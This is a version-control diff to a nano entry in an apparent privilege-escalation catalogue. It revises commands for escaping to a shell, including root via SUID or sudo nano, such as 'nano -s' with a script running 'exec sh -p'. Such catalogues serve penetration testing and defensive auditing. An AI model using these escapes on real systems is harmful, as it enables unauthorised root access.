Fix nano shell, suid, and sudo

This commit is contained in:
Emilio 2019-03-31 12:44:50 +01:00
parent c20ccf4af2
commit b9a262c600

View File

@ -7,10 +7,8 @@ functions:
reset; sh 1>&0 2>&0 reset; sh 1>&0 2>&0
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: | code: |
TF=$(mktemp) nano -s /bin/sh
echo 'exec sh' > $TF /bin/sh
chmod +x $TF
nano -s $TF /etc/hosts
^T ^T
file-write: file-write:
- code: | - code: |
@ -23,7 +21,8 @@ functions:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: | code: |
TF=$(mktemp) TF=$(mktemp)
echo 'exec sh -p' > $TF echo '#!/bin/sh -p
exec sh -p' > $TF
chmod +x $TF chmod +x $TF
./nano -s $TF /etc/hosts ./nano -s $TF /etc/hosts
^T ^T
@ -32,11 +31,4 @@ functions:
sudo nano sudo nano
^R^X ^R^X
reset; sh 1>&0 2>&0 reset; sh 1>&0 2>&0
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
sudo nano -s $TF /etc/hosts
^T
--- ---